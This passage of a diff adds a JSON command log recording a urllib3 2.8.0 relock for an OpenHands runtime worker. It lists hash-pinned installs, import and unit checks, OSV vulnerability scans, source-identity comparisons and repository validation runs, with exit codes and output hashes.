"14f8cc5187612148f60de1541046a0844ab3bb6b9dc377090cb5de5138362c1c" + }, + { + "id": "fresh-venv", + "argv": [ + "rtk", + "proxy", + "uv", + "venv", + "--python", + "/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13", + "--no-python-downloads", + "/venv" + ], + "cwd": "", + "started_utc": "2026-09-30T15:49:28.887156+00:00", + "ended_utc": "2026-09-30T15:49:28.929644+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "d50904273ecac8e69035cd459d46a6103e57af3f81e3434ffb1239ba4430f273", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "d2e3ddc5bdcd75429cb2739ee268afa3a10c09495378a8dbe0883a024ce97293", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", + "returned_output_sha256": "98d76e14cb8b2c2787947a82ee3d7c8b57ebb40c6e0a4ab2ea607fad5810b0b2" + }, + { + "id": "build-hash-install", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--require-hashes", + "--no-deps", + "--only-binary", + ":all:", + "--index-url", + "https://pypi.org/simple", + "-r", + "/blueprints/runtime-workers/openhands/build-requirements.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T15:49:28.930668+00:00", + "ended_utc": "2026-09-30T15:49:29.156416+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "cc6d57e189d827164646afe66fe15aacf80bf46eee5d4774c7546dddb2ce7b97", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "26cfaf954172d11f357481d9a96599e2896431c75d50806d4f6ee36bf005bb01", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", + "returned_output_sha256": "531ca125a17fb3bc737cc1e63b8ed1b131ced2ee47821a976258a603cdba2ebc" + }, + { + "id": "runtime-hash-install", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--require-hashes", + "--no-deps", + "--no-build-isolation", + "--index-url", + "https://pypi.org/simple", + "-r", + "/candidate.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T15:49:29.157557+00:00", + "ended_utc": "2026-09-30T15:49:30.154126+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "4863c153adc30c3d1fe9c0415dd4a20916d76f6771ebc324783e1133657955a7", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "cf8a6030cf2a8c5cf34c9e824339c19cec1b711120511a34561881a0e911c62e", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", + "returned_output_sha256": "0b8ce270ba574a751ff16d52190b4d5b329918e66e28b11c40cfdfd3bf5a3bee" + }, + { + "id": "native-pip-check", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "check", + "--python", + "/venv/bin/python" + ], + "cwd": "", + "started_utc": "2026-09-30T15:49:30.155171+00:00", + "ended_utc": "2026-09-30T15:49:30.204880+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "73173a0a192d96cb7953150951b2cf76c071ed6244ba3288ee068bf279ab175b", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "94b6dcbed09c7f53f08e003dbf72ddb250182edce8a877cb33af39ee798d18f2", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", + "returned_output_sha256": "a13391a6b9383b3bf1ae09fc3da3e567bbe6d87312f2c3def211a96a2cecd0f0" + }, + { + "id": "native-imports", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-c", + "import sys,platform,importlib.metadata as m; from openhands.sdk import LLM,Agent,Conversation; from openhands.tools.task import TaskToolSet; from openhands.tools.browser_use import BrowserToolSet; import urllib3; assert sys.implementation.name==\"cpython\" and platform.python_version()==\"3.13.15\" and platform.system()==\"Linux\" and platform.machine()==\"x86_64\"; assert m.version(\"openhands-sdk\")==m.version(\"openhands-tools\")==\"1.50.0\"; assert urllib3.__version__==\"2.8.0\"; print(\"CPython 3.13.15 Linux x86_64; SDK/tools 1.50.0 and urllib3 2.8.0 imports passed; no model request\"); print({p:m.version(p) for p in (\"click\",\"pypdf\",\"soupsieve\",\"PyJWT\",\"oauthlib\",\"urllib3\")})" + ], + "cwd": "", + "started_utc": "2026-09-30T15:49:30.205837+00:00", + "ended_utc": "2026-09-30T15:49:39.441345+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "437497e07a704d2930ce53b9211be4e5b166a59c175579e7257620e556e043db", + "stderr_sha256_private_raw": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8", + "stdout_sha256_sanitized": "437497e07a704d2930ce53b9211be4e5b166a59c175579e7257620e556e043db", + "stderr_sha256_sanitized": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", + "returned_output_sha256": "670804dc7aef95981033adda1ac8acb9d023022759504ee57262e64a79e25fe7" + }, + { + "id": "actual-sdk-fixtures", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-m", + "unittest", + "tests.test_openhands_150", + "-v" + ], + "cwd": "", + "started_utc": "2026-09-30T15:50:51.936681+00:00", + "ended_utc": "2026-09-30T15:50:59.460009+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "0dcab692f4a6cc3e0825de2b77660845df57e91b8ab708a76fc0480fcfe99b3a", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "0dcab692f4a6cc3e0825de2b77660845df57e91b8ab708a76fc0480fcfe99b3a", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", + "returned_output_sha256": "14cc0a8d1751d7300dae2524d4e7838ab8a33963b01a2427a5b58bc75fc388fd" + }, + { + "id": "maintained-jwt-callers", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T15:50:59.461226+00:00", + "ended_utc": "2026-09-30T15:51:08.862469+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "0936bf2a74787b6860ee8cf0627e6621031d6e2bc8a2a2288885aab919d10982", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "0936bf2a74787b6860ee8cf0627e6621031d6e2bc8a2a2288885aab919d10982", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", + "returned_output_sha256": "f2cb234d51c610eadcc8114d28f0deff618899d2f6fd88d6fc7e28630f68931c" + }, + { + "id": "oauthlib-alias-callers", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T15:51:08.863708+00:00", + "ended_utc": "2026-09-30T15:51:41.188219+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "5b6328e2bd292afc13d4a4eaab9e85abf989eae7879e4630478a442a8e390813", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "5b6328e2bd292afc13d4a4eaab9e85abf989eae7879e4630478a442a8e390813", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", + "returned_output_sha256": "019d8520664fec5d1c326901aabc988800688649ffae22ecc2624ae190813437" + }, + { + "id": "candidate-osv-ci-config", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--config", + "/ci-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/candidate.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T15:51:41.189852+00:00", + "ended_utc": "2026-09-30T15:51:41.899349+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "stderr_sha256_private_raw": "7af05314940f3285aecc34b253249735cf9feac5dc343a93d6db9f60be85fdd9", + "stdout_sha256_sanitized": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "stderr_sha256_sanitized": "96f21baba12206523f66bd9a740e9da44511744abe16506a99098a3cbcdb93c3", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", + "returned_output_sha256": "24f0d6ce6c9a34900663a79c21d3c2118799ed6fc1d8cfe27ab1a2be13976bee" + }, + { + "id": "candidate-osv-empty-config", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--config", + "/empty-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/candidate.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T15:51:41.901056+00:00", + "ended_utc": "2026-09-30T15:51:42.516065+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "509ece73e9c56f452580446c53dc535378547829f1034a148a42b1d0b4513a49", + "stderr_sha256_private_raw": "74859fad607169bbdaca3f226b94d46e2095cba6576f774980ca1f5301a5ad5c", + "stdout_sha256_sanitized": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "stderr_sha256_sanitized": "78cb8ba0b740efd3c75872c197a90d3911420fed55648772e7311d92ac28f6cd", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", + "returned_output_sha256": "0586d512426ed14c0cba8f9ac033a1151986a67e853865628e152301600aaa4a" + }, + { + "id": "urllib3-published-source-identity", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-c", + "import sys,hashlib,zipfile,json\nfrom pathlib import Path\np,site=map(Path,sys.argv[1:3]);wheel=p/'urllib3-2.8.0-py3-none-any.whl';compared=[];mismatches=[]\nwith zipfile.ZipFile(wheel) as z:\n for n in z.namelist():\n if n.endswith('.py'):\n compared.append(n)\n if not (site/n).is_file() or (site/n).read_bytes()!=z.read(n):mismatches.append(n)\nprint(json.dumps({'artifact':wheel.name,'artifact_sha256':hashlib.sha256(wheel.read_bytes()).hexdigest(),'python_sources_compared':len(compared),'mismatches':mismatches},indent=2))\nassert compared and not mismatches\n", + "", + "/venv/lib/python3.13/site-packages" + ], + "cwd": "", + "started_utc": "2026-09-30T15:51:42.517652+00:00", + "ended_utc": "2026-09-30T15:51:42.615659+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "8af178b7367f31dce356ede269d9ff0aed5cc4d4291fcb4e50f8118aa668977e", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "8af178b7367f31dce356ede269d9ff0aed5cc4d4291fcb4e50f8118aa668977e", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", + "returned_output_sha256": "243f20cb85641984d660ba1120a6f4b09b41b88cb7f89a37b3137206ac434012" + }, + { + "id": "urllib3-oauth-literal-sweep", + "argv": [ + "rtk", + "proxy", + "rg", + "-n", + "-i", + "oauthlib|oauth2|enable_jsonp|create_revocation_response|AuthorizationCodeGrant", + "/venv/lib/python3.13/site-packages/urllib3" + ], + "cwd": "", + "started_utc": "2026-09-30T15:51:42.618926+00:00", + "ended_utc": "2026-09-30T15:51:42.678931+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", + "returned_output_sha256": "fcc5ba26431b00ddd8522a75472de8242b3fea4dac4493e2837ce16e9fb749f3" + }, + { + "id": "exact-caller-source-review", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-c", + "import sys,hashlib,json,re\nfrom pathlib import Path\nsite=Path(sys.argv[1]);urllib=site/'urllib3';sources=sorted(urllib.rglob('*.py'))\nprint('urllib3 installed Python sources:',len(sources))\nprint('urllib3 installed source tree hashes:')\nfor p in sources:print(str(p.relative_to(site)),hashlib.sha256(p.read_bytes()).hexdigest())\nassert sources\nprint('OAuthlib source review windows; loading re-exported definitions does not prove endpoint invocation:')\nfor name,windows in [\n ('oauthlib/oauth2/__init__.py',[(15,31),(55,68)]),\n ('oauthlib/oauth2/rfc6749/endpoints/revocation.py',[(27,37),(65,83)]),\n ('oauthlib/oauth2/rfc6749/grant_types/authorization_code.py',[(43,64),(500,509),(539,550)]),\n ('urllib3/connection.py',[(660,741)]),\n ('urllib3/connectionpool.py',[(1080,1090)])\n]:\n p=site/name;lines=p.read_text().splitlines();print(name,'sha256',hashlib.sha256(p.read_bytes()).hexdigest())\n for start,end in windows:\n for i in range(start-1,min(end,len(lines))):print(f'{name}:{i+1}: {lines[i]}')\nprint('Limits: literal source review only; dynamic imports, runtime-assembled names, external/non-Python callers and OAuth authorization-server runtime behavior remain unknown.')\n", + "/venv/lib/python3.13/site-packages" + ], + "cwd": "", + "started_utc": "2026-09-30T15:54:54.565958+00:00", + "ended_utc": "2026-09-30T15:54:54.621136+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "7021bb5bba877fd7c992d41da97b8fe06500836bec47b63bd48a8031c4f3e3d0", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "7021bb5bba877fd7c992d41da97b8fe06500836bec47b63bd48a8031c4f3e3d0", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", + "returned_output_sha256": "61fba571a483831412c96daa07178e8261db77f58f2d60b8e2d9ff5a276f9db2" + }, + { + "id": "repository-validation-before-integration", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py" + ], + "cwd": "", + "started_utc": "2026-09-30T15:54:54.622376+00:00", + "ended_utc": "2026-09-30T15:55:14.257478+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "cad11cef0a752466ad8adec2c2fceee0758e3196183c450e92ae5a19f3150ccf", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "cad11cef0a752466ad8adec2c2fceee0758e3196183c450e92ae5a19f3150ccf", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", + "returned_output_sha256": "4c45bd586ff4760f2de93dbb2bbe950ee5e4d638870a80e5ea4ffd681d700e89" + }, + { + "id": "repository-validation-after-path-sanitization", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py" + ], + "cwd": "", + "started_utc": "2026-09-30T15:56:30.505407+00:00", + "ended_utc": "2026-09-30T15:56:52.440188+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "908e8888d53602f0cb0ab2a97c682fa6ac10761aad1b58fb025b9d3c2c729d56", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "908e8888d53602f0cb0ab2a97c682fa6ac10761aad1b58fb025b9d3c2c729d56", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", + "returned_output_sha256": "004274ab419a392924dfe312dc3cab8704160e7d17c10c4915125df066c51a17" + }, + { + "id": "installed-version-inventory", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-c", + "import sys,json,re,importlib.metadata as m\nfrom pathlib import Path\np=Path(sys.argv[1]);versions={}\nfor name,version in re.findall(r'(?m)^([a-zA-Z0-9_.-]+)==([^\\n]+)',(p/'candidate.lock').read_text()):\n versions[re.sub(r'[-_.]+','-',name).lower()]=version.rstrip(' \\\\')\nversions['openhands-sdk']=versions['openhands-tools']='1.50.0'\nmismatches=[]\nfor name,expected in versions.items():\n actual=m.version(name)\n if actual!=expected:mismatches.append({'name':name,'expected':expected,'actual':actual})\nprint(json.dumps({'checked_requirement_versions':len(versions),'installed_distributions':len(list(m.distributions())),'mismatches':mismatches},indent=2))\nassert len(versions)==176 and not mismatches\n", + "" + ], + "cwd": "", + "started_utc": "2026-09-30T15:57:53.479490+00:00", + "ended_utc": "2026-09-30T15:57:53.616316+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "71776222ed9553d005ea95dd4a04171dfb84acc7096960be16e174c652e5f8d8", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "71776222ed9553d005ea95dd4a04171dfb84acc7096960be16e174c652e5f8d8", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", + "returned_output_sha256": "d1e073a83ed95f20f8436c016e5a2c04efe6a64c55118f720e29011300f991f5" + }, + { + "id": "owned-file-publication-scan", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/requirements.lock", + "--scan-file", + "/blueprints/runtime-workers/openhands/pins.json" + ], + "cwd": "", + "started_utc": "2026-09-30T16:02:28.865484+00:00", + "ended_utc": "2026-09-30T16:02:29.235877+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "ac8cd55496bec53e0cb8ac4e341f3b28207db82296dbe8e2ead9c2c64f3331c8", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "9f9b73d71f98f799b9cf7196b84a35ceb0a79fe1bfb6a3929d6f93a4d2705f98", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", + "returned_output_sha256": "601a09a523f2fcf87e84dc66b66aee42fe6d98f2ab6b18f5c87daa4548ad5668" + }, + { + "id": "owned-file-publication-scan-after-declared-paths-redaction", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", + "--scan-file", + 